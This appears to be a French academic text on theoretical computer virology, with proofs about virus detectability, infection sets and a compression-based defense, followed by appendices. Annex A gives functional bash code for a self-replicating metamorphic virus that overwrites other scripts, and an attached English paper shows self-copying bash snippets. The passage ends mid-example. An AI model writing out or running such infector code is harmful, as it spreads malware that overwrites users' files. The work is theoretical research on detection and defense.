Démonstration. Soit f une fonction calculable et $\mathbf{e}$ un programme la calculant. On pose $\mathcal{B}(y, \mathbf{p}) = S(\mathbf{e}, \mathbf{p})$. Montrons que l'ensemble V des *virus* pour $\mathcal{B}$ est exactement l'ensemble P des programmes calculant f.

– Soit $\mathbf{q} \in P$, on a

$$\begin{aligned} \varphi_{\mathbf{q}}(\mathbf{p}, x) &= f(\mathbf{p}, x) && \text{puisque } \mathbf{q} \text{ calcule } f \\ &= \varphi_{\mathbf{e}}(\mathbf{p}, x) && \text{par définition de } \mathbf{e} \\ &= \varphi_{S(\mathbf{e},\mathbf{p})}(x) && \text{par le théorème d'itération} \\ \varphi_{\mathbf{q}}(\mathbf{p}, x) &= \varphi_{\mathcal{B}(\mathbf{q},\mathbf{p})}(x) && \text{par définition de } \mathcal{B} \ . \end{aligned}$$

Donc $\mathbf{q}$ est un virus pour $\mathcal{B}$. Par suite $\mathbf{q} \in P \Rightarrow \mathbf{q} \in V$.
– Soit $\mathbf{q} \notin P$, on a

$$\begin{aligned}
\exists \mathbf{p}, x \ : \ \varphi_{\mathbf{q}}(\mathbf{p}, x) &\neq f(\mathbf{p}, x) && \text{puisque } \mathbf{q} \text{ ne calcule pas } f \\
&\neq \varphi_{\mathbf{e}}(\mathbf{p}, x) && \text{par définition de } \mathbf{e} \\
&\neq \varphi_{S(\mathbf{e},\mathbf{p})}(x) && \text{par le théorème d'itération} \\
\exists \mathbf{p}, x \ : \ \varphi_{\mathbf{q}}(\mathbf{p}, x) &\neq \varphi_{\mathcal{B}(\mathbf{q},\mathbf{p})}(x) && \text{par définition de } \mathcal{B} \ .
\end{aligned}$$

Donc $\mathbf{q}$ n'est pas un virus pour $\mathcal{B}$ et $\mathbf{q} \notin P \Rightarrow \mathbf{q} \notin V$.
On conclut que $\mathbf{q} \notin P \Leftrightarrow \mathbf{q} \notin V$, P et V sont identiques. Les *virus* associés à $\mathcal{B}$ sont exactement les programmes calculant f, le théorème 6 fournit la Π_2 complétude. □

Nous avons prouvé l'existence de mécanismes de propagation pour lesquels la détection virale sera inextricable. Le théorème suivant est, à notre connaissance, l'un des seuls résultats positifs concernant la calculabilité de détection des virus. Il prouve l'existence de méthodes de propagation pour lesquelles on peut décider si un programme est un virus.

D'autres ensembles sont décidables

Théorème 15. *Il existe $\mathcal{B}$ tel que l'ensemble des* virus *associés est décidable.*

Démonstration. On définit la fonction f par $f(y, \mathbf{p}, x) = \varphi_y(\mathbf{p}, x)$, f étant semi-calculable il existe un programme $\mathbf{e}$ la calculant. Posons $\mathcal{B}(y, \mathbf{p}) = S(\mathbf{e}, y, \mathbf{p})$. Alors pour tout programme $\mathbf{v}$,

$$\begin{aligned}
\varphi_{\mathbf{v}}(\mathbf{p}, x) &= f(\mathbf{v}, \mathbf{p}, x) && \text{par définition de } f \\
&= \varphi_{S(\mathbf{e},\mathbf{v},\mathbf{p})}(x) && \text{par le théorème d'itération} \\
\varphi_{\mathbf{v}}(\mathbf{p}, x) &= \varphi_{\mathcal{B}(\mathbf{e},\mathbf{p})}(x) && \text{par définition de } \mathcal{B} \ .
\end{aligned}$$

Par suite tout programme est un *virus* pour $\mathcal{B}$, l'ensemble des *virus* est $\mathcal{D}$ qui est calculable. □

Ce résultat peut paraître trivial, mais supposons que l'on puisse trouver une fonction de propagation $\mathcal{B}$ telle que l'on puisse décider de la virulence associée. Nous pensons que $\mathcal{B}$ sera comparable à la fonction s-m-n. Nous pourrions ainsi construire une stratégie d'évaluation partielle fondé sur $\mathcal{B}$ et par suite un environnement de compilation et d'exécution. Enfin, si on est capable d'imposer le mode d'évaluation, tous les *virus* de cet environnement seront détectables.

3.1.2 Ensemble d'infection

La section 3.1.1 nous a montré qu'il est parfois impossible de détecter tous les virus pour une méthode de propagation donnée. A défaut, on peut essayer pour un *virus* fixé, de détecter les programmes infectés et ainsi enrayer l'infection. En suivant la terminologie de L. Adleman [Adl88], nous définissons la notion d'ensemble d'infection.

Définition 15 (Ensemble d'infection)**.** *L'ensemble d'infection d'un* virus $\mathbf{v}$*, noté $I_{\mathbf{v}}$, est défini par*

$$I_{\mathbf{v}} = \{\mathcal{B}(\mathbf{v}, \mathbf{p}) \mid \mathbf{p} \in \mathcal{D}\} \ . \tag{3.2}$$

Théorème 16. *Il existe un* virus $\mathbf{v}$ *tel que son ensemble d'infection soit Σ_1-complet.*

Démonstration. Soit K un ensemble Σ_1-complet. Comme $\mathcal{D}$ est un ensemble Σ_1, il est réductible à K, ainsi il existe une fonction calculable f telle que $f(\mathcal{D}) = K$.

Posons $\mathcal{B}(\mathbf{v}, \mathbf{p}) = f(\mathbf{p})$ et on considère le programme $\mathbf{v}$ tel que $\varphi_{\mathbf{v}}(\mathbf{p}, x) = \varphi_{f(\mathbf{p})}(x)$. $\mathbf{v}$ est un *virus* pour $\mathcal{B}$ et son ensemble d'infection est $f(\mathcal{D})$ qui est Σ_1-complet. □

Pour un tel virus nous ne pourrons donc pas décider si un programme a été infecté.

3.1.3 Germe

Confronté au même problème, L. Adleman avait proposé d'isoler l'ensemble d'infection à l'intérieur d'un sur-ensemble décidable, en s'autorisant à détecter, en plus des programmes réellement infectés, tout programme se comportant comme un programme infecté.

Définition 16 (Germe)**.** *Le germe d'un* virus $\mathbf{v}$*, noté* $G_{\mathbf{v}}$*, est défini par*

$$G_{\mathbf{v}} = \{\mathbf{q} \mid \exists \mathbf{p} \ : \ \varphi_{\mathbf{q}} \approx \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}\} \ . \tag{3.3}$$

On dira que $\mathbf{v}$ *est isolable à l'intérieur de son germe si il existe un ensemble calculable* S *tel que*

$$I_v \subset S \subset G_v \ . \tag{3.4}$$

Pour tout programme du germe, il existe un programme infecté qui calcule la même fonction.

Intuitivement, cela rend compte des analyses spectrales (ou comportementales) utilisées par certain antivirus. Le principe est de ne pas rechercher un code précis (une signature) mais une activité suspecte. On notera que le germe est un ensemble extensionnel, le théorème de Rice-Shapiro [Rog67] nous rappelle qu'il serait peine perdue de vouloir détecter l'intégralité du germe.

Théorème 17. *Il existe un* virus $\mathbf{v}$ *qui n'est pas isolable à l'intérieur de son germe.*

Démonstration. Cette démonstration est inspirée de preuves d'inséparabilité récursive [Rog67].

Nous reprenons le *virus* de la preuve du théorème 16 en posant $K = \{\mathbf{p} \mid \varphi_{\mathbf{p}}(\mathbf{p}) \downarrow\}$ ensemble Σ_1-complet de référence.

On suppose par l'absurde que $\mathbf{v}$ est isolable à l'intérieur de son germe, ainsi il existe S calculable tel que $I_v \subset S \subset G_v$. On considère S^c le complémentaire de S et $\mathbf{r}$ un programme de la fonction caractéristique de S^c. On a ainsi

$$\varphi_{\mathbf{r}}(x) \downarrow \Leftrightarrow x \in S^c \ . \tag{✓}$$

On notera que, comme $K \subset S$, K et S^c sont disjoints.

- Supposons que $\varphi_{\mathbf{r}}(\mathbf{r}) \downarrow$, par definition de K, $\mathbf{r} \in K$ et par définition de $\mathbf{r}$, $\varphi_{\mathbf{r}}(\mathbf{r}) \downarrow \Leftrightarrow \mathbf{r} \in S^c$. Nous avons $\mathbf{r} \in K$ et $\mathbf{r} \in S^c$, ce qui est absurde.
- Supposons que $\varphi_{\mathbf{r}}(\mathbf{r}) \uparrow$, on a alors $\mathbf{r} \notin S^c$ d'où $\mathbf{r} \in S$. Par hypothèse $S \subset G_{\mathbf{v}}$, donc $\mathbf{r} \in G_{\mathbf{v}}$. Par définition du germe, il existe $\mathbf{p}$ tel que

  $$\varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})} \approx \varphi_{\mathbf{r}} \ , \tag{✠}$$

  et par définition de $\mathcal{B}$ (preuve du théorème 16)

  $$\mathcal{B}(\mathbf{v}, \mathbf{p}) \in K \ .$$

  On en déduit que $\varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(\mathcal{B}(\mathbf{v}, \mathbf{p})) \downarrow$ et l'égalité fonctionnelle (✠) conduit à

  $$\varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(\mathcal{B}(\mathbf{v}, \mathbf{p})) = \varphi_{\mathbf{r}}(\mathcal{B}(\mathbf{v}, \mathbf{p})) \downarrow \ .$$

  Or (✓) donne $\varphi_{\mathbf{r}}(\mathcal{B}(\mathbf{v}, \mathbf{p})) \downarrow \Leftrightarrow \mathcal{B}(\mathbf{v}, \mathbf{p}) \in S^c$. De plus $\mathcal{B}(\mathbf{v}, \mathbf{p}) \in K$ ce qui est absurde puisque S^c et K sont disjoints.

Nous aboutissons à donc à une contradiction. On conclue que $\mathbf{v}$ n'est pas isolable à l'intérieur de son germe. □

Une fois encore, nous obtenons un résultat négatif, nous exhibons un *virus* ne pouvant être isolé à l'intérieur de son germe. C'est à dire que, même connaissant le code viral, on ne peut pas décider sans fausse alerte si un programme est infecté. Dans une certaine mesure, cet exemple rejoint celui de D. Chess et S. White dans [CW00].

3.2 Virus et information

Nous revisitons ici l'exemple du *virus* symbiote de la partie 2.1.2, et établissons un cadre théorique pour envisager un environnement protégé contre ce genre de virus. Notre formalisation est très simplifiée mais elle constitue une voie qui pourra être approfondie par la suite.

3.2.1 Complexité de Kolmogorov

Nous nous plaçons maintenant dans le cadre de la complexité de Kolmogorov, pour plus de détails on pourra consulter le livre de M. Li et P. Vitányi [LV97]. La complexité de Kolmogorov associé à un mot x relativement à φ_e est donnée par

$$K_{\varphi_{\mathbf{e}}}(x) = min\{|\mathbf{q}| : \varphi_{\mathbf{e}}(\mathbf{q}) = x\} \ . \tag{3.5}$$

Le théorème fondamental de la complexité de Kolmogorov fournit un programme universel $\mathbf{u}$ tel que pour tous mots x et y et tout programme $\mathbf{e}$,

$$K_{\varphi_u}(x) \leq K_{\varphi_e}(x) + c \ , \tag{3.6}$$

où c désigne une constante. Ainsi, la taille minimale d'un programme qui calcule x en connaissant y est $K_{\varphi_u}(x)$ à une constante près.

Etant donnée une constante c, on définit la c-compression d'un programme $\mathbf{p}$ par un programme $\gamma_c(\mathbf{p})$ tel que $\varphi_{\mathbf{p}} \approx \varphi_{\varphi_u(\gamma_c(\mathbf{p}))}$ et $|\gamma_c(\mathbf{p})| \leq K_{\varphi_{\mathbf{u}}}(\mathbf{p}) + c$. En fait $\gamma_c(\mathbf{p})$ est la meilleur compressions de $\mathbf{p}$ à la constante c près.

3.2.2 Symbiote

Nous considérons le symbiote $\mathbf{v}$ comme un *virus* mutant de fonction associée $\Gamma(\mathbf{v}, \mathbf{p})$ possédant les propriétés suivantes, on note $\mathbf{v}' = \Gamma(\mathbf{v}, \mathbf{p})$.

Conservation Pour pouvoir passer inaperçu un symbiote doit être capable de se comporter comme le programme qu'il infecte. De plus, il doit être capable de propager l'infection. Ceci peut se résumer par l'existence de deux fonctions P et V telles que $\varphi_{V(\mathbf{v}')} \approx \varphi_{\mathbf{v}}$ et $\varphi_{P(\mathbf{v}')} \approx \varphi_{\mathbf{p}}$.

Entropie croissante On impose aussi $|V(\mathbf{v}')| + |P(\mathbf{v}')| \leq |\mathbf{v}'|$, intuitivement on suppose que la liaison du *virus* et du programme infecté a un coût positif ou nul.

Furtivité Un symbiote doit être capable de dissimuler sa présence, nous traduisons cette propriété par la condition $|\mathbf{v}'| \leq |\mathbf{p}|$: pas d'augmentation de taille, en compressant les données le *virus* rend la tâche d'un antivirus plus ardue.

3.2.3 Stratégie de protection

Supposons que tous les programmes de notre système soient c-compressés. La propriété de croissance nous donne

$$|V(\mathbf{v}')| + |P(\mathbf{v}')| \leq |\mathbf{v}'| \ .$$

En appliquant la propriété de furtivité $|\mathbf{v}'| \leq |\gamma_c(\mathbf{p})|$ on obtient

$$|V(\mathbf{v}')| + |P(\mathbf{v}')| \leq |\gamma_c(\mathbf{p})| \ .$$

La c-compression implique $|\gamma_c(\mathbf{p})| \leq K_{\varphi_u}(\mathbf{p}) + c$ et par suite

$$|V(\mathbf{v}')| + |P(\mathbf{v}')| \leq K_{\varphi_u}(\mathbf{p}) + c \ .$$

Or la propriété de conservation nous donne $\varphi_{P(\mathbf{v}')} \approx \varphi_{\gamma_c(\mathbf{p})}$. Par définition de la c-compression, $\varphi_{\varphi_u(P(\mathbf{v}'))} \approx \varphi_{\mathbf{p}}$ et par definition de la complexité de Kolmogorov $K_{\varphi_u}(\mathbf{p}) \leq |P(\mathbf{v}')|$. Cela nous conduit à

$$\begin{aligned} |V(\mathbf{v}')| + K_{\varphi_u}(\mathbf{p}) &\leq K_{\varphi_u}(\mathbf{p}) + c \\ |V(\mathbf{v}')| &\leq c \ . \end{aligned}$$

Ainsi l'information contenue dans tout *virus* symbiote est bornée par c, on peut donc contrôler la complexité des symbiotes pouvant infecter notre système. Bien sûr, cette stratégie n'est pas applicable en pratique puisqu'une c-compression n'est pas calculable, mais nous restons convaincus que de telles méthodes peuvent conduire à l'élaboration d'environnements immunisés. Nous pourrions par exemple utiliser des algorithmes de compression connus et étudier dans quelle mesure cette propriété est conservée. Il semble aussi judicieux d'allier cette stratégie à des techniques d'encryptage.

Conclusion

Nous avons proposé une définition pour capturer la notion de virus informatiques. Nous avons constaté qu'elle rendait compte de plusieurs exemples concrets et qu'elle conservait les formalismes antérieurs. Cette robustesse a aussi été confirmée en étudiant les notions de polymorphisme et de métamorphisme. Nous avons retrouvé quelques résultats classiques concernant la difficulté de détection et nous avons aussi montré qu'il existait plusieurs pistes de protection encore inexplorées.

Nous pensons que cette étude est un premier pas dans la construction d'une virologie informatique. Nous avons établi un environnement théorique qui doit maintenant être raffiné. En particulier, il semble naturel d'imposer des conditions sur la fonction de propagation $\mathcal{B}$. De plus, il serait intéressant d'effectuer ces approfondissements en se rapprochant de la notion d'évaluation partielle. Par ailleurs, d'autres voies sont aussi possibles, en particulier en 3.2.3 nous n'avons qu'effleuré la théorie de l'information, une étude plus poussée pourrait mener à des stratégies de protection originales.

Bibliographie

[Adl88] L.M. Adleman. An abstract theory of computer viruses. In *Advances in Cryptology — CRYPTO'88*, volume 403. Lecture Notes in Computer Science, 1988.

[Bis91] M. Bishop. An overview of computer viruses in a research environment. Technical report, Dartmouth College, Hanover, NH, USA, 1991.

[Coh86] F.B. Cohen. *Computer Viruses*. PhD thesis, University of Southern California, January 1986.

[Coh87a] F.B. Cohen. Computer viruses : theory and experiments. *Comput. Secur.*, 6(1) :22–35, 1987.

[Coh87b] F.B. Cohen. Models of practical defences against computer viruses : theory and experiments. *Comput. Secur.*, 6(1), 1987.

[CW00] D.M. Chess and S.R. White. An undetectable computer virus, 2000.

[Dav58] M. Davis. *Computability and unsolvability*. McGraw-Hill, 1958.

[Fil04] E. Filiol. *Les virus informatiques : théorie, pratique et applications*. Springer-Verlag France, 2004.

[HTC99] S. Anderson H. Thimbleby and P. Cairns. A framework for medelling trojans and computer virus infection. *Comput. J.*, 41 :444–458, 1999.

[Jon97] N.D. Jones. *Computability and complexity : from a programming perspective*. MIT Press, Cambridge, MA, USA, 1997.

[Lud98] M.A. Ludwig. *The Giant Black Book of Computer Viruses*. American Eagle Publications, 1998.

[LV97] M. Li and P. Vitányi. *An Introduction to Kolmogorov Complexity and its Application*. Springer, 1997. (Second edition).

[Rog67] H.Jr. Rogers. *Theory of Recursive Functions and Effective Computability*. McGraw Hill, New York, 1967.

[Szo05] P. Szor. *The Art of Computer Virus Research and Defense*. Addison-Wesley Professional, 2005.

[TG95] A.M. Turing and J.-Y. Girard. *La machine de Turing*. Seuil, 1995.

[Tur36] A.M. Turing. On computable numbers with an application to the entscheidungsproblem. *Proc. London Mathematical Society*, 42(2) :230–265, 1936. Translation [TG95].

[Usp56] V.A. Uspenskii. Enumeration operators and the concept of program. *Uspekhi Matematicheskikh Nauk*, 11, 1956.

[vN66] J von Neumann. *Theory of Self-Reproducing Automata*. University of Illinois Press, Urbana, Illinois, 1966. edited and completed by A.W.Burks.

[ZZ04] Z. Zuo and M. Zhou. Some further theorical results about computer viruses. In *The Computer Journal*, 2004.

Annexe A

Codes bash

A.1 Virus métamorphique

A.1.1 Bloc de désassemblage

```
#[VXBLOCK]1.disassembler.VXBlock
if [ $PREPOST=PRE ]; then
 head -n $VXLENGTH $0 |cat > ./vx
else
 tail -n $VXLENGTH $0 |cat > ./vx
fi
B_HEADER=`grep -nhws -m 1 [V]XBLOCK ./vx`
B_LINE=${B_HEADER%%:*}
while [ "$B_HEADER" ]; do
 B_BLOCKNAME=${B_HEADER#*[V]XBLOCK]}
 echo ${B_HEADER#*:} > ./$B_BLOCKNAME
 B_LENGTH=`wc -l ./vx`
 B_LENGTH=${B_LENGTH%% ./vx}
 tail -n `expr $B_LENGTH - $B_LINE` ./vx |cat > ./vxx
 B_HEADER=`grep -nhws -m 1 [V]XBLOCK ./vxx`
 B_LINE=${B_HEADER%%:*}
 if [ "$B_HEADER" ]; then
  head -n `expr $B_LINE - 1` ./vxx |cat >> ./$B_BLOCKNAME
 else
  cat ./vxx|cat >> ./$B_BLOCKNAME
 fi
 mv ./vxx ./vx
done
rm -f ./vx ./vxx
```

A.1.2 Bloc d'assemblage

```
#[VXBLOCK]1.assembler.VXBlock
echo > ./vx
B_NUM_MAX=9
for BLOCK in disassembler assembler infector;do
OK=KO
while [ $OK = KO ]; do
 B_NUMBER=$RANDOM
 B_NUMBER=`expr $B_NUMBER % $B_NUM_MAX`
```

```
 if test -e $B_NUMBER.$BLOCK.VXBlock; then
  cat $B_NUMBER.$BLOCK.VXBlock >> ./vx
  echo >> ./vx
  OK=OK
 fi
done
```

A.1.3 Bloc d'infection

```
#[VXBLOCK]1.infector.VXBlock
for FName in $(ls *.infect.sh);do
 if [ ./$FName != $0 ]; then
  mv ./$FName ./.$FName
  VXLENGTH=`wc -l ./vx`
  VXLENGTH=`expr ${B_LENGTH%% ./vx} + 3`
  echo "#!/bin/bash" > ./$FName
  echo "PREPOST=PRE" >> ./$FName
  echo "VXLENGTH=$VXLENGTH" >>./$FName
  cat ./vx ./.$FName| cat >> ./$FName
  rm ./.$FName
 fi
done
```

Annexe B

Toward an abstract computer virology

Toward an abstract computer virology

G. Bonfante, M. Kaczmarek, and J-Y Marion

Loria, Calligramme project, B.P. 239, 54506 Vandœuvre-lès-Nancy Cédex, France,
and École Nationale Supérieure des Mines de Nancy, INPL, France.

Abstract. We are concerned with theoretical aspects of computer viruses. For this, we suggest a new definition of viruses which is clearly based on the iteration theorem and above all on Kleene's recursion theorem. We show that we capture in a natural way previous definitions, and in particular the one of Adleman. We establish generic constructions in order to construct viruses, and we illustrate them by various examples. We discuss about the relationship between information theory and virus and we propose a defense against some kind of viral propagation. Lastly, we show that virus detection is Π_2^0-complete. However, since we are able to deal with system vulnerability, we exhibit another defense based on controlling system access.

1 Introduction

Computer viruses seem to be an omnipresent issue of information technology; there is a lot of books, see [13] or [16], discussing practical issues. But, as far as we know, there are only a few theoretical studies. This situation is even more amazing because the word "computer virus" comes from the seminal theoretical works of Cohen [4–6] and Adleman [1] in the mid-1980's. We do think that theoretical point of view on computer viruses may bring some new insights to the area, as it is also advocated for example by Filiol [8], an expert on computer viruses and cryptology. Indeed, a deep comprehension of mechanisms of computer viruses is from our point of view a promising way to suggest new directions on virus detection and defence against attacks. On theoretical approach to virology, there is an interesting survey of Bishop [2] and we aware of the paper of Thimbleby, Anderson and Cairns [10] and of Chess and White paper [3].

This being said, the first question is what is a virus? In his Phd-thesis [4], Cohen defines viruses with respect to Turing Machines. Roughly speaking, a virus is a word on a Turing machine tape such that when it is activated, it duplicates or mutates on the tape. Adleman took a more abstract formulation of computer viruses based on recursive function in order to have a definition independent from computation models. A recent article of Zuo and Zhou [21] completes Aldemans work, in particular in

formalizing polymorphic viruses. In both approaches, a virus is a self-replicating device. So, a virus has the capacity to act on a description of itself. That is why Kleene's recursion theorem is central in the description of the viral mechanism.

This paper is an attempt to use computability and information theory as a vantage point from which to understand viruses. We suggest a definition which embeds Adelman's as well as Zuo and Zhou's definitions in a natural way.

A virus is a program $\mathbf{v}$ which is solution of the fixed point equation

$$\varphi_{\mathbf{v}}(\mathbf{p}, x) = \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) \tag{1}$$

where $\mathcal{B}$ is a function which describes the propagation and mutation of the virus in the system. This approach has at least three advantages compared with others mentioned above. First, a virus is a program and not a function. Thus, we switch from a purely functional point of view to a more programming perspective one.

Second, we consider the propagation function, unlike others. So, we are able to have another look at virus replications. All the more so since $\mathcal{B}$ corresponds also to a system vulnerability. Lastly, since the definition is clearly based on recursion theorem, we are able to describe a lot of kind of virus smoothly. To illustrate our words, we establish a general construction of trigger virus in Section 3.3.

The results and the organization of the paper is the following. Section 2 presents the theoretical tools needed to define viruses. We will focus in particular in the s-m-n theorem and the recursion theorem. In section 3, we propose a virus definition and we pursue by a first approach to self-duplication. Section 4 is devoted to Adlemans virus definition. Then, we explore another duplication methods by mutations. We compare our work with Zuo and Zhou definition of polymorphic viruses. Lastly, Section 6 ends with a discussion on the relation with information theory. From that, we deduce an original defense against some particular kind of viruses, see 6.3. The last Section is about virus search complexity which turns out to Π_2^0-complete. It is worth to mention that we conclude the paper on some research direction to study system flaws, see Theorem 14.

2 Iteration and Recursion Theorems

2.1 Programming Languages

We are not taking a particular programming language but we are rather considering an abstract, and so simplified, definition of a programming

language. However, we shall illustrate all along the theoretical constructions by bash programs. The examples and analogies that we shall present are there to help the reader having a better understanding of the main ideas but also to show that the theoretical constructions are applicable to any programming language.

We briefly present the necessary definitions to study programming languages in an independent way from a particular computational model. We refer to the book of Davis [7], of Rogers [15] and of Odifreddi [14].

Throughout, we consider that we are given a set $\mathcal{D}$, the domain of the computation. As it is convenient, we take $\mathcal{D}$ to be the set of words over some fixed alphabet. But we could also have taken natural numbers or any free algebra as domains. The size $|u|$ of a word u is the number of letters in u.

A programming language is a mapping φ from $\mathcal{D} \to (\mathcal{D} \to \mathcal{D})$ such that for each program $\mathbf{p}$, $\varphi(\mathbf{p}) : \mathcal{D} \to \mathcal{D}$ is the partial function computed by $\mathbf{p}$. Following the convention used in calculability theory, we write $\varphi_{\mathbf{p}}$ instead of $\varphi(\mathbf{p})$. Notice that there is no distinction between programs and data.

We write $f \approx g$ to say that for each x, either $f(x)$ and $g(x)$ are defined and $f(x) = g(x)$ or both are undefined on x.

A total function f is computable wrt φ if there is a program $\mathbf{p}$ such that $f \approx \varphi_{\mathbf{p}}$. If f is a partial function, we shall say that f is semi-computable. Similarly, a set is computable (resp. semi-computable) if its characteristic function is computable (semi-computable).

We also assume that there is a pairing computable function $(\_, \_)$ such that from two words x and y of $\mathcal{D}$, we form a pair $(x, y) \in \mathcal{D}$. A pair (x, y) can be decomposed uniquely into x and y by two computable projection functions. Next, a finite sequence $(x_1, \ldots, x_n)$ of words is built by repeatedly applying the pairing function, that is $(x_1, \ldots, x_n) = (x_1, (x_2, (\ldots, x_n)\ldots))$.

So, we won't make any longer the distinction between a n-uple and its encoding. Every function is formally considered unary even if we have in mind a binary one. The context will always be clear.

It is worth to mention that the pairing function may be seen as an encryption function and the projections as decryption function.

Following Uspenski [19] and Rogers [15], a programming language φ is acceptable if

1. For each semi-computable function f, there is a program $\mathbf{p} \in \mathcal{D}$ such that $\varphi_{\mathbf{p}} \approx f$.

2. There is an universal program $\mathbf{u}$ which satisfies that for each program $\mathbf{p} \in \mathcal{D}$, $\varphi_{\mathbf{u}}(\mathbf{p}, x) \approx \varphi_{\mathbf{p}}(x)$.
3. There is a program $\mathbf{s}$ such that

$$\forall \mathbf{p}, x, y \in \mathcal{D} \quad \varphi_{\mathbf{p}}(x, y) \approx \varphi_{\varphi_{\mathbf{s}}(\mathbf{p},x)}(y)$$

Of course, the function $\varphi_{\mathbf{s}}$ is the well-known s-m-n function written S.

The existence of an acceptable programming language was demonstrated by Turing [18].

Kleene's Iteration Theorem yields a function S which specializes an argument in a program. The self-application that is $S(\mathbf{p}, \mathbf{p})$ corresponds to the construction of a program which can read its own code $\mathbf{p}$. By analogy with bash programs, it means that the variable `$0` is assigned to the text, that is $\mathbf{p}$, of the executed bash file.

We present now a version of the second recursion theorem which is due to Kleene. This theorem is one of the deepest result in theory of recursive function. It is the cornerstone of the paper that is why we write the proof. We could also have presented Rogers's recursion theorem but we have preferred to focus on only one recursion theorem in order not to introduce any extra difficulties. It is worth also to cite the paper [11] in which the s-m-n function and the recursion theorem are experimented;

Theorem 1 (Kleene's second recursion Theorem). *If g is a semi-computable function, then there is a program $\mathbf{e}$ such that*

$$\varphi_{\mathbf{e}}(x) = g(\mathbf{e}, x) \tag{2}$$

Proof. Let $\mathbf{p}$ be a program of the semi-computable function $g(S(y, y), x)$. We have

$$\begin{aligned} g(S(y, y), x) &= \varphi_{\mathbf{p}}(y, x) && (3)\\ &= \varphi_{S(\mathbf{p},y)}(x) && (4) \end{aligned}$$

By setting $\mathbf{e} = S(\mathbf{p}, \mathbf{p})$, we have

$$\begin{aligned} g(\mathbf{e}, x) &= g(S(\mathbf{p}, \mathbf{p}), x) && (5)\\ &= \varphi_{S(\mathbf{p},\mathbf{p})}(x) && (6)\\ &= \varphi_{\mathbf{e}}(x) && (7) \end{aligned}$$

3 The viral mechanism

3.1 A virus definition

A virus may be thought of as a program which reproduces, and executes some actions. Hence, a virus is a program whose propagation mechanism is described by a computable function $\mathcal{B}$. The propagation function $\mathcal{B}$ searches and selects a sequence of programs $\mathbf{p} = (\mathbf{p}_1, \ldots, \mathbf{p}_n)$ among inputs $(\mathbf{p}, x)$. Then, $\mathcal{B}$ replicates the virus inside $\mathbf{p}$. In other words, $\mathcal{B}$ is the vector which carries and transmits the virus to a program. On the other hand, the function $\mathcal{B}$ can be also seen as a flaw in the programming environment. Indeed, $\mathcal{B}$ is a functional property of the programming language φ which is used by a virus $\mathbf{v}$ to enter and propagate into the system. We suggest below an abstract formalization of viruses which reflects the picture that we have described above.

Definition 2. *Assume that $\mathcal{B}$ is a semi-computable function. A virus wrt $\mathcal{B}$ is a program $\mathbf{v}$ such that for each $\mathbf{p}$ and x in $\mathcal{D}$,*

$$\varphi_{\mathbf{v}}(\mathbf{p}, x) = \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) \tag{8}$$

The function $\mathcal{B}$ is called the propagation function of the virus $\mathbf{v}$.

Throughout, we call *virus* a program, which satisfies the above definition.

As we have said above, we make no distinction between programs and data. However we write in bold face words of $\mathcal{D}$, like $\mathbf{p}, \mathbf{v}$, which denote programs. On the other hand, the argument x does not necessarily denote a data. Nevertheless, in both cases, $\mathbf{p}$ or x refer either to a single word or a sequence of words. (For example $x = (x_1, \ldots, x_n)$.)

3.2 Self-reproduction

A distinctive feature of viruses is the self-reproduction property. This has been well developed for cellular automata from the work of von Neumann [20]. Hence, Cohen [4] demonstrated how a virus reproduces in the context of Turing machines.

We show next that a virus can copy itself in several ways. We present some typical examples which in particular illustrate the key role of the recursion Theorem.

We give a first definition of self-reproduction. (A second direction will be discussed in Section 5.) A duplication function *Dup* is a total

computable function such that $Dup(\mathbf{v}, \mathbf{p})$ is a word which contains at least an occurrence of $\mathbf{v}$. A duplicating virus is a virus, which satisfies $\varphi_{\mathbf{v}}(\mathbf{p}, x) = Dup(\mathbf{v}, \mathbf{p})$. The existence of duplicating viruses is a consequence of the following Theorem by setting $f = Dup$.

Theorem 3. *Given a semi-computable function f, there is a virus $\mathbf{v}$ such that $\varphi_{\mathbf{v}}(\mathbf{p}, x) = f(\mathbf{v}, \mathbf{p})$*

Proof. For set $g(y, \mathbf{p}, x) = f(y, \mathbf{p})$. Recursion Theorem implies that the semi-computable function g has a fixed point that we call $\mathbf{v}$. We have $\varphi_{\mathbf{v}}(\mathbf{p}, x) = g(\mathbf{v}, \mathbf{p}, x) = f(\mathbf{v}, \mathbf{p})$.

Next, let $\mathbf{e}$ be a code of g, that is $g \approx \varphi_{\mathbf{e}}$. The propagation function $\mathcal{B}$ induced by $\mathbf{v}$ is defined by $\mathcal{B}(\mathbf{v}, \mathbf{p}) = S(\mathbf{e}, \mathbf{v}, \mathbf{p})$, since

$$\varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) = \varphi_{S(\mathbf{e},\mathbf{v},\mathbf{p})}(x) \tag{9}$$

$$= g(\mathbf{v}, \mathbf{p}, x) = \varphi_{\mathbf{v}}(\mathbf{p}, x) \tag{10}$$

It is worth to say that the propagation function lies on the s-m-n S function. The s-m-n S function specializes the program $\mathbf{e}$ to $\mathbf{v}$ and $\mathbf{p}$, and thus it drops the virus in the system and propagates it. So, in some sense, the s-m-n S function should be be considered as a flaw, which is inherent to each acceptable programming language.

To illustrate behaviors of duplicating viruses, we consider several examples, which correspond to known computer viruses.

Crushing

A duplication function *Dup* is a crushing if $Dup(\mathbf{v}, \mathbf{p}) = \mathbf{v}$.

This basic idea is in fact the starting point of a lot of computer viruses.

Most of the email worms use this methods, copying their script to many directories. The e-mail worm "loveletter" copies itself as "MSKernel32.vbs". Lastly, here is a tiny bash program which copies itself.

```
cat $0 > $0.copy
```

Cloning

Suppose that $\mathbf{p} = (\mathbf{p}_1, \ldots, \mathbf{p}_n)$. Then, a virus is cloning wrt *Dup*, if $Dup(\mathbf{v}, \mathbf{p}) = (d(\mathbf{v}, \mathbf{p}_1), \ldots, d(\mathbf{v}, \mathbf{p}_n))$ where d is a duplication function. A cloning virus keeps the structure of the program environment but copies itself into some parts. For example, we can think that $\mathbf{p}$ is a directory and $(\mathbf{p}_1, \ldots, \mathbf{p}_n)$ are the file inside. So a cloning virus infects some files in the directory.

Moreover, a cloning virus should also verify that $|d(\mathbf{v}, \mathbf{p}_i)| \leq |\mathbf{p}_i|$. Then, the virus does not increase the program size, and so the detection of such non-size increasing virus is harder.

A cloning virus is usually quite malicious, because it overwrites existing program. A concrete example is the virus named "4870 Overwriting". The next bash program illustrates of a cloning virus.

```
for FName in $(ls *.infect.sh);do
